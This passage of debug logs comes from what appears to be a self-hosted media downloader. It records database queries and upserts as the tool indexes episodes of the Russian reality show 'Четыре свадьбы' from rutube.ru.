shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [52] 14:35:52.224 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят торжества друг друга. У Татьяны из Орла будет классическая свадьба, оформление которой станет сюрпризом от декоратора. Любовь из Ростова-на-Дону пригласит участниц на свою современную свадьбу с выступлением кавер-группы. Свадьба Екатерины из Краснодара пройдёт в кубанско-армянском стиле. А фишкой свадьбы Виктории из Москвы станет стендап от гостей. Чьё мероприятие больше остальных понравится соперницам, покажет программа «Четыре свадьбы».", "duration" => 5969, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e102400 - Кубанско-армянская свадьба VS Свадьба-вечеринка.mp4", "id" => "8cb8d3dec904479996d0960839bd61c5", "original_url" => "https://rutube.ru/video/8cb8d3dec904479996d0960839bd61c5/", "playlist_index" => 60, "timestamp" => 1698156019, "title" => "Кубанско-армянская свадьба VS Свадьба-вечеринка", "upload_date" => "20231024"} 14:35:52.225 [debug] QUERY OK source="sources" db=0.6ms idle=32.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:52.226 [debug] QUERY OK source="sources" db=0.5ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:52.227 [debug] QUERY OK source="media_items" db=0.7ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-24 14:00:19Z], 1] 14:35:52.247 [debug] QUERY OK source="media_items" db=18.9ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят торжества друг друга. У Татьяны из Орла будет классическая свадьба, оформление которой станет сюрпризом от декоратора. Любовь из Ростова-на-Дону пригласит участниц на свою современную свадьбу с выступлением кавер-группы. Свадьба Екатерины из Краснодара пройдёт в кубанско-армянском стиле. А фишкой свадьбы Виктории из Москвы станет стендап от гостей. Чьё мероприятие больше остальных понравится соперницам, покажет программа «Четыре свадьбы».", "Кубанско-армянская свадьба VS Свадьба-вечеринка", "46cd66bd-aeb8-4148-881b-ae2bcc0ab791", "8cb8d3dec904479996d0960839bd61c5", 5969, false, "https://rutube.ru/video/8cb8d3dec904479996d0960839bd61c5/", 60, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e102400 - Кубанско-армянская свадьба VS Свадьба-вечеринка.mp4", false, false, false, 1, [], 1, ~U[2023-10-24 14:00:19Z], ~U[2025-12-09 11:35:52Z], ~U[2025-12-09 11:35:52Z], "Четыре невесты оценят торжества друг друга. У Татьяны из Орла будет классическая свадьба, оформление которой станет сюрпризом от декоратора. Любовь из Ростова-на-Дону пригласит участниц на свою современную свадьбу с выступлением кавер-группы. Свадьба Екатерины из Краснодара пройдёт в кубанско-армянском стиле. А фишкой свадьбы Виктории из Москвы станет стендап от гостей. Чьё мероприятие больше остальных понравится соперницам, покажет программа «Четыре свадьбы».", "Кубанско-армянская свадьба VS Свадьба-вечеринка", "8cb8d3dec904479996d0960839bd61c5", 5969, false, "https://rutube.ru/video/8cb8d3dec904479996d0960839bd61c5/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e102400 - Кубанско-армянская свадьба VS Свадьба-вечеринка.mp4", false, 1, ~U[2023-10-24 14:00:19Z]] 14:35:52.249 [debug] QUERY OK source="sources" db=1.6ms idle=23.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:52.250 [debug] QUERY OK source="media_profiles" db=0.6ms idle=24.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:52.251 [debug] QUERY OK source="media_items" db=0.3ms idle=24.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [53] 14:35:52.251 [debug] Current batch of media processed. Will check again in 1000ms 14:35:53.252 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 пары влюблённых побывают на свадьбах друг друга. Екатерина и Александр из Санкт-Петербурга покажут своё видение современной классической свадьбы. Анастасия и Анзор из Челябинска отпразднуют свадьбу на работе жениха. Ирина и Игорь из Воронежа устроят рок-тусовку. А у Сони и Саши из Москвы будет вечеринка в стиле Барби. Как пройдут мероприятия участников, покажет программа «Четыре свадьбы».", "duration" => 7786, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e011800 - Свадьба в стиле Барби VS Свадьба в стиле рок.mp4", "id" => "c14e67dfeab96ab4c4b076535d7b8d1a", "original_url" => "https://rutube.ru/video/c14e67dfeab96ab4c4b076535d7b8d1a/", "playlist_index" => 61, "timestamp" => 1705593019, "title" => "Свадьба в стиле Барби VS Свадьба в стиле рок", "upload_date" => "20240118"} 14:35:53.253 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1006.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:53.254 [debug] QUERY OK source="sources" db=0.4ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:53.255 [debug] QUERY OK source="media_items" db=0.5ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-18 15:50:19Z], 1] 14:35:53.277 [debug] QUERY OK source="media_items" db=20.6ms queue=0.2ms idle=1001.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 пары влюблённых побывают на свадьбах друг друга. Екатерина и Александр из Санкт-Петербурга покажут своё видение современной классической свадьбы. Анастасия и Анзор из Челябинска отпразднуют свадьбу на работе жениха. Ирина и Игорь из Воронежа устроят рок-тусовку. А у Сони и Саши из Москвы будет вечеринка в стиле Барби. Как пройдут мероприятия участников, покажет программа «Четыре свадьбы».", "Свадьба в стиле Барби VS Свадьба в стиле рок", "d80f871e-f5f5-459c-8cfa-16119ff54786", "c14e67dfeab96ab4c4b076535d7b8d1a", 7786, false, "https://rutube.ru/video/c14e67dfeab96ab4c4b076535d7b8d1a/", 61, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e011800 - Свадьба в стиле Барби VS Свадьба в стиле рок.mp4", false, false, false, 1, [], 1, ~U[2024-01-18 15:50:19Z], ~U[2025-12-09 11:35:53Z], ~U[2025-12-09 11:35:53Z], "4 пары влюблённых побывают на свадьбах друг друга. Екатерина и Александр из Санкт-Петербурга покажут своё видение современной классической свадьбы. Анастасия и Анзор из Челябинска отпразднуют свадьбу на работе жениха. Ирина и Игорь из Воронежа устроят рок-тусовку. А у Сони и Саши из Москвы будет вечеринка в стиле Барби. Как пройдут мероприятия участников, покажет программа «Четыре свадьбы».", "Свадьба в стиле Барби VS Свадьба в стиле рок", "c14e67dfeab96ab4c4b076535d7b8d1a", 7786, false, "https://rutube.ru/video/c14e67dfeab96ab4c4b076535d7b8d1a/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e011800 - Свадьба в стиле Барби VS Свадьба в стиле рок.mp4", false, 1, ~U[2024-01-18 15:50:19Z]] 14:35:53.283 [debug] QUERY OK source="sources" db=4.6ms queue=0.1ms idle=25.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:53.285 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.1ms idle=29.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:53.288 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=30.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [54] 14:35:53.288 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты покажут свои свадьбы. Лилия из Вологды пригласит на свою свадьбу в стиле минимализм. В Алексине гости будут развлекаться на классической свадьбе Анастасии. Фишкой свадьбы Анастасии из Королёва станет появление гостей. А приглашённые на свадьбу Ксении из Санкт-Петербурга смогут посмотреть на оленей. Понравятся ли участницам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "duration" => 6353, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e012500 - Свадьба в стиле минимализм VS Классическая свадьба.mp4", "id" => "24d2d553daaa9342945190fb63fe7294", "original_url" => "https://rutube.ru/video/24d2d553daaa9342945190fb63fe7294/", "playlist_index" => 62, "timestamp" => 1706191811, "title" => "Свадьба в стиле минимализм VS Классическая свадьба", "upload_date" => "20240125"} 14:35:53.293 [debug] QUERY OK source="sources" db=3.7ms queue=0.1ms idle=12.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:53.295 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=15.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:53.300 [debug] QUERY OK source="media_items" db=4.6ms idle=12.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-25 14:10:11Z], 1] 14:35:53.356 [debug] QUERY OK source="media_items" db=53.5ms idle=17.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты покажут свои свадьбы. Лилия из Вологды пригласит на свою свадьбу в стиле минимализм. В Алексине гости будут развлекаться на классической свадьбе Анастасии. Фишкой свадьбы Анастасии из Королёва станет появление гостей. А приглашённые на свадьбу Ксении из Санкт-Петербурга смогут посмотреть на оленей. Понравятся ли участницам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "Свадьба в стиле минимализм VS Классическая свадьба", "c9a8279d-ff29-4a9a-a2b8-24dbe0f3cbe4", "24d2d553daaa9342945190fb63fe7294", 6353, false, "https://rutube.ru/video/24d2d553daaa9342945190fb63fe7294/", 62, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e012500 - Свадьба в стиле минимализм VS Классическая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-01-25 14:10:11Z], ~U[2025-12-09 11:35:53Z], ~U[2025-12-09 11:35:53Z], "4 невесты покажут свои свадьбы. Лилия из Вологды пригласит на свою свадьбу в стиле минимализм. В Алексине гости будут развлекаться на классической свадьбе Анастасии. Фишкой свадьбы Анастасии из Королёва станет появление гостей. А приглашённые на свадьбу Ксении из Санкт-Петербурга смогут посмотреть на оленей. Понравятся ли участницам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "Свадьба в стиле минимализм VS Классическая свадьба", "24d2d553daaa9342945190fb63fe7294", 6353, false, "https://rutube.ru/video/24d2d553daaa9342945190fb63fe7294/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e012500 - Свадьба в стиле минимализм VS Классическая свадьба.mp4", false, 1, ~U[2024-01-25 14:10:11Z]] 14:35:53.358 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=68.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:53.359 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=65.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:53.361 [debug] QUERY OK source="media_items" db=1.5ms idle=63.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [55] 14:35:53.362 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы «Четырёх свадеб» приглашают соперниц на свои торжества. В Омске девушки побывают на молодёжной свадьбе-вечеринке Малики. Наталья из Апатитов устроит панк-свадьбу. Яна позовёт гостей на свою свадьбу в стиле бохо. А у Натальи из Тюмени будет домашняя вечеринка. Яркие мероприятия девушек покажет программа «Четыре свадьбы».", "duration" => 5960, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020100 - Свадьба-вечеринка VS Свадьба в стиле рок.mp4", "id" => "9b556f4a1651b9cf23b36d5c0f78fd64", "original_url" => "https://rutube.ru/video/9b556f4a1651b9cf23b36d5c0f78fd64/", "playlist_index" => 63, "timestamp" => 1706793611, "title" => "Свадьба-вечеринка VS Свадьба в стиле рок", "upload_date" => "20240201"} 14:35:53.363 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=61.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:53.365 [debug] QUERY OK source="sources" db=0.9ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:53.368 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-01 13:20:11Z], 1] 14:35:53.391 [debug] QUERY OK source="media_items" db=22.4ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы «Четырёх свадеб» приглашают соперниц на свои торжества. В Омске девушки побывают на молодёжной свадьбе-вечеринке Малики. Наталья из Апатитов устроит панк-свадьбу. Яна позовёт гостей на свою свадьбу в стиле бохо. А у Натальи из Тюмени будет домашняя вечеринка. Яркие мероприятия девушек покажет программа «Четыре свадьбы».", "Свадьба-вечеринка VS Свадьба в стиле рок", "a027d992-b58e-460f-82f6-a96d46ac6979", "9b556f4a1651b9cf23b36d5c0f78fd64", 5960, false, "https://rutube.ru/video/9b556f4a1651b9cf23b36d5c0f78fd64/", 63, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020100 - Свадьба-вечеринка VS Свадьба в стиле рок.mp4", false, false, false, 1, [], 1, ~U[2024-02-01 13:20:11Z], ~U[2025-12-09 11:35:53Z], ~U[2025-12-09 11:35:53Z], "Участницы «Четырёх свадеб» приглашают соперниц на свои торжества. В Омске девушки побывают на молодёжной свадьбе-вечеринке Малики. Наталья из Апатитов устроит панк-свадьбу. Яна позовёт гостей на свою свадьбу в стиле бохо. А у Натальи из Тюмени будет домашняя вечеринка. Яркие мероприятия девушек покажет программа «Четыре свадьбы».", "Свадьба-вечеринка VS Свадьба в стиле рок", "9b556f4a1651b9cf23b36d5c0f78fd64", 5960, false, "https://rutube.ru/video/9b556f4a1651b9cf23b36d5c0f78fd64/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020100 - Свадьба-вечеринка VS Свадьба в стиле рок.mp4", false, 1, ~U[2024-02-01 13:20:11Z]] 14:35:53.393 [debug] QUERY OK source="sources" db=1.4ms idle=31.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:53.394 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=30.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:53.395 [debug] QUERY OK source="media_items" db=0.4ms idle=29.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream 